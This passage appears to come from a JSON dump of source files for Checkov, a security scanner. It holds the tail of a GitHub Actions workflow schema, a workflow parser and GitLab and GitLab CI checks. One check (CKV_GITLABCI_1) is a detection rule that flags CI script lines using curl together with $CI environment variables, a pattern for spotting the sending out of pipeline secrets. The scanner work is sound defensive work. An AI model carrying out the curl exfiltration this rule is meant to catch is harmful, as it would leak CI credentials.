\"string\",\n                                                    \"enum\": [\"string\", \"choice\", \"boolean\", \"environment\"]\n                                                },\n                                                \"options\": {\n                                                    \"$comment\": \"https://github.blog/changelog/2021-11-10-github-actions-input-types-for-manual-workflows\",\n                                                    \"description\": \"The options of the dropdown list, if the type is a choice.\",\n                                                    \"type\": \"array\",\n                                                    \"items\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"minItems\": 1\n                                                }\n                                            },\n                                            \"allOf\": [\n                                                {\n                                                    \"if\": {\n                                                        \"properties\": {\n                                                            \"type\": {\n                                                                \"const\": \"boolean\"\n                                                            }\n                                                        },\n                                                        \"required\": [\"type\"]\n                                                    },\n                                                    \"then\": {\n                                                        \"properties\": {\n                                                            \"default\": {\n                                                                \"type\": \"boolean\"\n                                                            }\n                                                        }\n                                                    },\n                                                    \"else\": {\n                                                        \"properties\": {\n                                                            \"default\": {\n                                                                \"type\": \"string\"\n                                                            }\n                                                        }\n                                                    }\n                                                },\n                                                {\n                                                    \"if\": {\n                                                        \"properties\": {\n                                                            \"type\": {\n                                                                \"const\": \"choice\"\n                                                            }\n                                                        },\n                                                        \"required\": [\"type\"]\n                                                    },\n                                                    \"then\": {\n                                                        \"required\": [\"options\"]\n                                                    }\n                                                }\n                                            ],\n                                            \"required\": [\"description\", \"required\"],\n                                            \"additionalProperties\": False\n                                        }\n                                    },\n                                    \"additionalProperties\": False\n                                }\n                            }\n                        },\n                        \"workflow_run\": {\n                            \"$comment\": \"https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_run\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"This event occurs when a workflow run is requested or completed, and allows you to execute a workflow based on the finished result of another workflow. For example, if your pull_request workflow generates build artifacts, you can create a new workflow that uses workflow_run to analyze the results and add a comment to the original pull request.\",\n                            \"properties\": {\n                                \"types\": {\n                                    \"$ref\": \"#/definitions/types\",\n                                    \"items\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\"requested\", \"completed\"]\n                                    },\n                                    \"default\": [\"requested\", \"completed\"]\n                                },\n                                \"workflows\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"string\"\n                                    },\n                                    \"minItems\": 1\n                                }\n                            },\n                            \"patternProperties\": {\n                                \"^branches(-ignore)?$\": {}\n                            }\n                        },\n                        \"repository_dispatch\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#external-events-repository_dispatch\",\n                            \"$ref\": \"#/definitions/eventObject\",\n                            \"description\": \"You can use the GitHub API to trigger a webhook event called repository_dispatch when you want to trigger a workflow for activity that happens outside of GitHub. For more information, see https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.\\nTo trigger the custom repository_dispatch webhook event, you must send a POST request to a GitHub API endpoint and provide an event_type name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the repository_dispatch event.\"\n                        },\n                        \"schedule\": {\n                            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events-schedule\",\n                            \"description\": \"You can schedule a workflow to run at specific UTC times using POSIX cron syntax (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Scheduled workflows run on the latest commit on the default or base branch. The shortest interval you can run scheduled workflows is once every 5 minutes.\\nNote: GitHub Actions does not support the non-standard syntax @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.\\nYou can use crontab guru (https://crontab.guru/). to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of crontab guru examples (https://crontab.guru/examples.html).\",\n                            \"type\": \"array\",\n                            \"items\": {\n                                \"properties\": {\n                                    \"cron\": {\n                                        \"$comment\": \"https://stackoverflow.com/a/57639657/4044345\",\n                                        \"type\": \"string\",\n                                        \"pattern\": \"^(((\\\\d+,)+\\\\d+|((\\\\d+|\\\\*)/\\\\d+|((JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)(-(JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC))?))|(\\\\d+-\\\\d+)|\\\\d+|\\\\*|((MON|TUE|WED|THU|FRI|SAT|SUN)(-(MON|TUE|WED|THU|FRI|SAT|SUN))?)) ?){5}$\"\n                                    }\n                                },\n                                \"additionalProperties\": False\n                            },\n                            \"minItems\": 1\n                        }\n                    },\n                    \"additionalProperties\": False\n                }\n            ]\n        },\n        \"env\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env\",\n            \"$ref\": \"#/definitions/env\",\n            \"description\": \"A map of environment variables that are available to all jobs and steps in the workflow.\"\n        },\n        \"defaults\": {\n            \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#defaults\",\n            \"$ref\": \"#/definitions/defaults\",\n            \"description\": \"A map of default settings that will apply to all jobs in the workflow.\"\n        },\n        \"concurrency\": {\n            \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency\",\n            \"description\": \"Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \\nYou can also specify concurrency at the workflow level. \\nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.\",\n            \"oneOf\": [\n                {\n                    \"type\": \"string\"\n                },\n                {\n                    \"$ref\": \"#/definitions/concurrency\"\n                }\n            ]\n        },\n        \"jobs\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs\",\n            \"description\": \"A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the jobs.<job_id>.needs keyword.\\nEach job runs in a fresh instance of the virtual environment specified by runs-on.\\nYou can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#usage-limits.\",\n            \"type\": \"object\",\n            \"patternProperties\": {\n                \"^[_a-zA-Z][a-zA-Z0-9_-]*$\": {\n                    \"anyOf\": [\n                        {\n                            \"$ref\": \"#/definitions/normalJob\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/reusableWorkflowCallJob\"\n                        }\n                    ]\n                }\n            },\n            \"minProperties\": 1,\n            \"additionalProperties\": False\n        },\n        \"permissions\": {\n            \"$ref\": \"#/definitions/permissions\"\n        }\n    },\n    \"required\": [\"on\", \"jobs\"],\n    \"type\": \"object\"\n}\n"
  },
  {
    "path": "checkov/github_actions/utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nimport platform\nfrom pathlib import Path\nfrom typing import Any, Tuple\nimport dpath\n\nimport yaml\nfrom jsonschema import validate, ValidationError\n\nfrom checkov.common.parsers.yaml.loader import SafeLineLoaderGhaSchema\nfrom checkov.common.parsers.yaml.parser import parse\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\nfrom checkov.common.util.type_forcers import force_dict\nfrom checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.github_actions.schemas import gha_schema, gha_workflow\nfrom checkov.runner_filter import RunnerFilter\n\nWORKFLOW_DIRECTORY = \".github/workflows/\"\nWIN_WORKFLOW_DIRECTORY = \".github\\\\workflows\\\\\"\n\n\ndef get_scannable_file_paths(root_folder: str | Path) -> set[Path]:\n    \"\"\"Finds yaml files\"\"\"\n\n    file_paths: set[Path] = set()\n\n    if root_folder:\n        root_path = root_folder if isinstance(root_folder, Path) else Path(root_folder)\n        file_paths = {file_path for file_path in root_path.rglob(\"*.[y][am]*[l]\") if file_path.is_file()}\n\n    return file_paths\n\n\ndef parse_file(\n    f: str | Path, file_content: str | None = None\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n    file_path = f if isinstance(f, Path) else Path(f)\n\n    if is_workflow_file(file_path):\n        if not file_content:\n            file_content = read_file_with_any_encoding(file_path=file_path)\n\n        entity_schema = parse(filename=str(f), file_content=file_content)\n\n        if entity_schema and is_schema_valid(yaml.load(file_content, Loader=SafeLineLoaderGhaSchema)):  # nosec\n            return entity_schema\n    return None\n\n\ndef is_workflow_file(file_path: str | Path) -> bool:\n    \"\"\"\n    :return: True if the file mentioned is in a github action workflow directory and is a YAML file. Otherwise: False\n    \"\"\"\n    abspath = os.path.abspath(file_path)\n    return get_workflow_dir() in abspath and abspath.endswith((\"yml\", \"yaml\"))\n\n\ndef get_workflow_dir() -> str:\n    \"\"\"\n    Detects os and uses different dir string\n    \"\"\"\n    if platform.system() == \"Windows\":\n        return WIN_WORKFLOW_DIRECTORY\n    return WORKFLOW_DIRECTORY\n\n\ndef is_schema_valid(config: dict[str, Any] | list[dict[str, Any]]) -> bool:\n    config_dict = force_dict(config)\n\n    try:\n        validate(config_dict, gha_workflow)\n        return True\n    except ValidationError:\n        try:\n            validate(config_dict, gha_schema)\n            return True\n        except ValidationError:\n            logging.info(\n                \"Given entity configuration does not match the schema\\n\" f\"config={json.dumps(config_dict, indent=4)}\\n\"\n            )\n\n    return False\n\n\ndef get_gha_files_definitions(root_folder: str | Path,\n                              files: \"list[str] | None\" = None,\n                              runner_filter: RunnerFilter | None = None,) -> tuple[dict[str, Any], dict[str, Any]]:\n    definitions = {}\n    definitions_raw = {}\n    file_paths = get_scannable_file_paths(root_folder=root_folder)\n    files_set = set(files) if files else set()\n\n    for file_path in file_paths:\n        str_file_path = str(file_path)\n        should_parse: bool = str_file_path in files_set if files_set else True\n        if should_parse:\n            result = parse_file(f=file_path)\n            # result should be tuple of dict representing the file payload structure and list of lines of the payload\n            if result is not None:\n                definitions[str_file_path] = result[0]\n                definitions_raw[str_file_path] = result[1]\n\n    return definitions, definitions_raw\n\n\ndef build_gha_definitions_context(definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[Tuple[int, str]]]) -> dict[str, dict[str, Any]]:\n    definitions_context: dict[str, dict[str, Any]] = {}\n    resources = [e.value for e in ResourceType]\n    # iterate on the files\n    for file_path, file_path_definitions in definitions.items():\n        # iterate on the definitions (Parameters, Resources, Outputs...)\n        for file_path_definition, definition in file_path_definitions.items():\n            if isinstance(file_path_definition, str) and file_path_definition in resources:\n                # iterate on the actual objects of each definition\n                if isinstance(definition, dict):\n                    for attribute, attr_value in definition.items():\n                        if isinstance(attr_value, dict):\n                            start_line = attr_value['__startline__']\n                            end_line = attr_value['__endline__']\n                        elif isinstance(attr_value, str) and '__startline__' in definition and '__endline__' in definition:\n                            start_line = definition['__startline__']\n                            end_line = definition['__endline__']\n                        else:\n                            continue\n\n                        code_lines = definitions_raw[file_path][start_line - 1: end_line - 1]\n                        dpath.new(\n                            definitions_context,\n                            [file_path, str(file_path_definition), str(attribute)],\n                            {\"start_line\": start_line, \"end_line\": end_line, \"code_lines\": code_lines},\n                        )\n                elif isinstance(definition, (str, list)):\n                    for line_tuple in definitions_raw[file_path]:\n                        if file_path_definition in line_tuple[1] and definition_locator_helper(definition, line_tuple[1]):\n                            code_lines = definitions_raw[file_path][line_tuple[0] - 1:line_tuple[0]]\n                            dpath.new(\n                                definitions_context,\n                                [file_path, str(file_path_definition), str(definition)],\n                                {\"start_line\": line_tuple[0], \"end_line\": line_tuple[0] + 1, \"code_lines\": code_lines},\n                            )\n                            break\n\n    return definitions_context\n\n\ndef definition_locator_helper(definition: str | list[str], target: str) -> bool:\n    if isinstance(definition, str):\n        return definition in target\n    elif isinstance(definition, list):\n        return all(item in target for item in definition)\n    return False\n"
  },
  {
    "path": "checkov/gitlab/__init__.py",
    "content": "from checkov.gitlab.checks import *  # noqa\n"
  },
  {
    "path": "checkov/gitlab/base_gitlab_configuration_check.py",
    "content": "from __future__ import annotations\n\nfrom typing import Iterable\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories\n\nfrom checkov.gitlab.registry import registry\n\n\nclass BaseGitlabCheck(BaseCheck):\n    def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: list[str],\n                 block_type: str, path: str | None = None, guideline: str | None = None) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n            guideline=guideline,\n        )\n        self.path = path\n        registry.register(self)\n"
  },
  {
    "path": "checkov/gitlab/checks/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/gitlab/checks/merge_requests_approvals.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.gitlab.base_gitlab_configuration_check import BaseGitlabCheck\nfrom checkov.gitlab.schemas.project_approvals import schema as project_aprovals_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass MergeRequestRequiresApproval(BaseGitlabCheck):\n    def __init__(self) -> None:\n        name = \"Merge requests should require at least 2 approvals\"\n        id = \"CKV_GITLAB_1\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult | None:  # type:ignore[override]\n        if project_aprovals_schema.validate(conf):\n            if conf.get(\"approvals_before_merge\", 0) < 2:\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n        return None\n\n\ncheck = MergeRequestRequiresApproval()\n"
  },
  {
    "path": "checkov/gitlab/dal.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import Any\n\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.common.vcs.base_vcs_dal import BaseVCSDAL\n\n\nclass Gitlab(BaseVCSDAL):\n    def __init__(self) -> None:\n        super().__init__()\n\n    def setup_conf_dir(self) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov and determine the directory to save temporal files of vcs configuration\n        \"\"\"\n        gitlab_conf_dir_name = os.getenv('CKV_GITLAB_CONF_DIR_NAME', 'gitlab_conf')\n        self.gitlab_conf_dir_path = os.path.join(os.getcwd(), gitlab_conf_dir_name)\n        self.gitlab_project_approvals_file_path = os.path.join(self.gitlab_conf_dir_path,\n                                                               \"project_approvals.json\")\n        self.gitlab_groups_file_path = os.path.join(self.gitlab_conf_dir_path,\n                                                    \"groups.json\")\n\n    def discover(self) -> None:\n        \"\"\"\n            discover parameters from execution context of checkov. usually from env variable\n        \"\"\"\n        server_host = os.getenv('CI_SERVER_URL', \"https://gitlab.com\")\n        self.api_url = f'{server_host}/api/v4/'\n        self.graphql_api_url = f\"{server_host}/api/graphql\"\n\n        self.token = os.getenv('CI_JOB_TOKEN', '')\n\n        self.current_repository = os.getenv('CI_MERGE_REQUEST_PROJECT_PATH', '')\n        self.current_branch = os.getenv('CI_COMMIT_REF_NAME', '')\n        self.group_name = os.getenv('CI_PROJECT_NAMESPACE', '')\n        self.project_id = os.getenv('CI_PROJECT_ID', '')\n        self.default_branch_cache = {}\n\n    def _headers(self) -> dict[str, str]:\n        return {\"Authorization\": \"Bearer {}\".format(self.token)}\n\n    def get_project_approvals(self) -> dict[str, Any] | None:\n        if self.project_id:\n            project_approvals = self._request(endpoint=f\"projects/{self.project_id}/approvals\",\n                                              allowed_status_codes=[200])\n            return project_approvals\n        return None\n\n    def persist_project_approvals(self) -> None:\n        project_approvals = self.get_project_approvals()\n\n        if project_approvals:\n            BaseVCSDAL.persist(path=self.gitlab_project_approvals_file_path, conf=project_approvals)\n\n    def get_groups(self) -> dict[str, Any] | None:\n        groups = self._request(endpoint=\"groups\", allowed_status_codes=[200])\n        return groups\n\n    def persist_groups(self) -> None:\n        groups = self.get_groups()\n        if groups:\n            BaseVCSDAL.persist(path=self.gitlab_groups_file_path, conf=groups)\n\n    def persist_all_confs(self) -> None:\n        if strtobool(os.getenv(\"CKV_GITLAB_CONFIG_FETCH_DATA\", \"True\")):\n            self.persist_project_approvals()\n            self.persist_groups()\n"
  },
  {
    "path": "checkov/gitlab/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.json_doc.base_registry import Registry\n\nregistry = Registry(CheckType.GITLAB_CONFIGURATION)\n"
  },
  {
    "path": "checkov/gitlab/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.gitlab.dal import Gitlab\nfrom checkov.json_doc.runner import Runner as JsonRunner\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.output.report import Report\n\n\nclass Runner(JsonRunner):\n    check_type = CheckType.GITLAB_CONFIGURATION  # noqa: CCE003  # a static attribute\n\n    def __init__(self) -> None:\n        self.gitlab = Gitlab()\n        super().__init__()\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        self.prepare_data()\n\n        report = super().run(\n            root_folder=self.gitlab.gitlab_conf_dir_path,\n            external_checks_dir=external_checks_dir,\n            files=None,  # ignore file scans\n            runner_filter=runner_filter,\n            collect_skip_comments=collect_skip_comments,\n        )\n        JsonRunner._change_files_path_to_relative(report)  # type:ignore[arg-type]  # report can only be of type Report, not a list\n        return report\n\n    def prepare_data(self) -> None:\n        self.gitlab.persist_all_confs()\n\n    def require_external_checks(self) -> bool:\n        # default json runner require only external checks. Gitlab runner brings build in checks\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.gitlab.registry import registry\n        return registry\n"
  },
  {
    "path": "checkov/gitlab/schemas/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/gitlab/schemas/groups.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass GroupsSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"array\",\n            \"items\": [\n                {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"id\": {\n                            \"type\": \"integer\"\n                        },\n                        \"web_url\": {\n                            \"type\": \"string\"\n                        },\n                        \"name\": {\n                            \"type\": \"string\"\n                        },\n                        \"path\": {\n                            \"type\": \"string\"\n                        },\n                        \"description\": {\n                            \"type\": \"string\"\n                        },\n                        \"visibility\": {\n                            \"type\": \"string\"\n                        },\n                        \"share_with_group_lock\": {\n                            \"type\": \"boolean\"\n                        },\n                        \"require_two_factor_authentication\": {\n                            \"type\": \"boolean\"\n                        },\n                        \"two_factor_grace_period\": {\n                            \"type\": \"integer\"\n                        },\n                        \"project_creation_level\": {\n                            \"type\": \"string\"\n                        },\n                        \"auto_devops_enabled\": {\n                            \"type\": \"null\"\n                        },\n                        \"subgroup_creation_level\": {\n                            \"type\": \"string\"\n                        },\n                        \"emails_disabled\": {\n                            \"oneOf\": [\n                                {\"type\": \"boolean\"},\n                                {\"type\": \"null\"}\n                            ]\n                        },\n                        \"mentions_disabled\": {\n                            \"oneOf\": [\n                                {\"type\": \"boolean\"},\n                                {\"type\": \"null\"}\n                            ]\n                        },\n                        \"lfs_enabled\": {\n                            \"oneOf\": [\n                                {\"type\": \"boolean\"},\n                                {\"type\": \"null\"}\n                            ]\n                        },\n                        \"default_branch_protection\": {\n                            \"type\": \"integer\"\n                        },\n                        \"avatar_url\": {\n                            \"oneOf\": [\n                                {\"type\": \"string\"},\n                                {\"type\": \"null\"}\n                            ]\n                        },\n                        \"request_access_enabled\": {\n                            \"type\": \"boolean\"\n                        },\n                        \"full_name\": {\n                            \"type\": \"string\"\n                        },\n                        \"full_path\": {\n                            \"type\": \"string\"\n                        },\n                        \"created_at\": {\n                            \"type\": \"string\"\n                        },\n                        \"parent_id\": {\n                            \"type\": \"null\"\n                        },\n                        \"ldap_cn\": {\n                            \"type\": \"null\"\n                        },\n                        \"ldap_access\": {\n                            \"type\": \"null\"\n                        }\n                    },\n                    \"required\": [\n                        \"id\",\n                        \"web_url\",\n                        \"name\",\n                        \"path\",\n                        \"description\",\n                        \"visibility\",\n                        \"share_with_group_lock\",\n                        \"require_two_factor_authentication\",\n                        \"two_factor_grace_period\",\n                        \"project_creation_level\",\n                        \"auto_devops_enabled\",\n                        \"subgroup_creation_level\",\n                        \"emails_disabled\",\n                        \"mentions_disabled\",\n                        \"lfs_enabled\",\n                        \"default_branch_protection\",\n                        \"avatar_url\",\n                        \"request_access_enabled\",\n                        \"full_name\",\n                        \"full_path\",\n                        \"created_at\",\n                        \"parent_id\",\n                        \"ldap_cn\",\n                        \"ldap_access\"\n                    ]\n                }\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = GroupsSchema()\n"
  },
  {
    "path": "checkov/gitlab/schemas/project_approvals.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass ProjectApprovalsSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"approvals_before_merge\": {\n                    \"type\": \"integer\"\n                },\n                \"reset_approvals_on_push\": {\n                    \"type\": \"boolean\"\n                },\n                \"disable_overriding_approvers_per_merge_request\": {\n                    \"type\": \"boolean\"\n                },\n                \"merge_requests_author_approval\": {\n                    \"type\": \"boolean\"\n                },\n                \"merge_requests_disable_committers_approval\": {\n                    \"type\": \"boolean\"\n                },\n                \"require_password_to_approve\": {\n                    \"type\": \"boolean\"\n                }\n            },\n            \"required\": [\n                \"approvals_before_merge\",\n                \"reset_approvals_on_push\",\n                \"disable_overriding_approvers_per_merge_request\",\n                \"merge_requests_author_approval\",\n                \"merge_requests_disable_committers_approval\",\n                \"require_password_to_approve\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = ProjectApprovalsSchema()\n"
  },
  {
    "path": "checkov/gitlab_ci/__init__.py",
    "content": "from checkov.gitlab_ci.checks import * # noqa\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/__init__.py",
    "content": "from checkov.gitlab_ci.checks.job import * # noqa\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/base_gitlab_ci_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.gitlab_ci.checks.registry import registry\n\n\nclass BaseGitlabCICheck(BaseCheck):\n    def __init__(\n        self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None\n    ) -> None:\n        categories = (CheckCategories.SUPPLY_CHAIN,)\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/job/AvoidDoublePipelines.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck\nfrom checkov.yaml_doc.enums import BlockType\n\nPIPELINE_SOURCES = ('$CI_PIPELINE_SOURCE == \"merge_request_event\"', '$CI_PIPELINE_SOURCE == \"push\"')\n\n\nclass AvoidDoublePipelines(BaseGitlabCICheck):\n    def __init__(self) -> None:\n        name = \"Avoid creating rules that generate double pipelines\"\n        id = \"CKV_GITLABCI_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('*.rules',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        c = 0\n\n        for rule in conf:\n            if isinstance(rule, dict) and \"if\" in rule:\n                value = rule['if']\n                if value.startswith(PIPELINE_SOURCES):\n                    c += 1\n                    if c > 1:\n                        return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = AvoidDoublePipelines()\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/job/DetectImagesUsage.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DetectImageUsage(BaseGitlabCICheck):\n    def __init__(self) -> None:\n        name = \"Detecting image usages in gitlab workflows\"\n        id = \"CKV_GITLABCI_3\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('*.image[]', '*.services[]')\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        return CheckResult.PASSED, conf\n\n\ncheck = DetectImageUsage()\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/job/SuspectCurlInScript.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult\n\nfrom checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass SuspectCurlInScript(BaseGitlabCICheck):\n    def __init__(self) -> None:\n        name = \"Suspicious use of curl with CI environment variables in script\"\n        id = \"CKV_GITLABCI_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            block_type=BlockType.ARRAY,\n            supported_entities=('*.script[]',)\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        for line in conf.values():\n            if not isinstance(line, str):\n                continue\n            if line.startswith(\"curl\") and \"$CI\" in line:\n                return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = SuspectCurlInScript()\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/job/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/gitlab_ci/checks/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.GITLAB_CI)\n"
  },
  {
    "path": "checkov/gitlab_ci/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/gitlab_ci/common/reserved.py",
    "content": "# flake8: noqa\nreserved = [\n    \"default\",\n    \"include\",\n    \"stages\",\n    \"variables\",\n    \"workflow\"\n]"
  },
  {
    "path": "checkov/gitlab_ci/common/resource_id_utils.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\nIMAGE_BLOCK_NAMES = ('image', 'services')\nSKIP_BLOCKS = ('include', 'stages', 'cache', 'variables')\n\n\ndef generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int,\n                                    end_line: int) -> str:\n    return _generate_resource_key_recursive(conf, key, start_line, end_line, set(), 0)\n\n\ndef _generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int,\n                                     end_line: int, scanned_image_blocks: set[str], depth: int) -> str:\n    if not isinstance(conf, dict):\n        return key\n\n    for k, value in conf.items():\n        if depth == 0 and k in SKIP_BLOCKS:\n            continue\n\n        if k in IMAGE_BLOCK_NAMES:\n            scanned_image_blocks.add(k)\n\n        if isinstance(value, dict) and value[START_LINE] <= start_line <= end_line <= value[END_LINE]:\n            next_key = f'{key}.{k}' if key else k\n            return _generate_resource_key_recursive(value, next_key, start_line, end_line, scanned_image_blocks,\n                                                    depth + 1)\n\n        if isinstance(value, list):\n            if value and isinstance(value[0], dict):\n                next_key = f'{key}.{k}' if key else k\n\n                for idx, entry in enumerate(value):\n                    if entry and isinstance(entry, dict) and entry[START_LINE] <= start_line <= end_line <= entry[END_LINE]:\n                        next_key += f'.{idx + 1}'\n                        break  # There can be only one match in terms of line range\n\n                return _generate_resource_key_recursive(value, next_key, start_line, end_line, scanned_image_blocks,\n                                                        depth + 1)\n\n        if any(block_name in conf.keys()\n               and block_name not in scanned_image_blocks\n               and isinstance(conf[block_name], dict)\n               and conf[block_name].get(START_LINE) <= start_line\n               and conf[block_name].get(END_LINE) >= end_line\n               for block_name in IMAGE_BLOCK_NAMES):\n            # Avoid settling for a too general resource id, when there are blocks which usually contain image names,\n            # and that these blocks were not scanned yet & match the line range.\n            continue\n\n        if depth == 0:\n            # Indicates the first recursive call. a heuristic that top-level entities should usually be disregarded\n            # in case they are not dictionaries.\n            continue\n\n        if isinstance(value, list):\n            if key:\n                return f'{key}.{k}'\n            else:\n                continue\n        if isinstance(value, str):\n            return key\n\n    return key\n"
  },
  {
    "path": "checkov/gitlab_ci/runner.py",
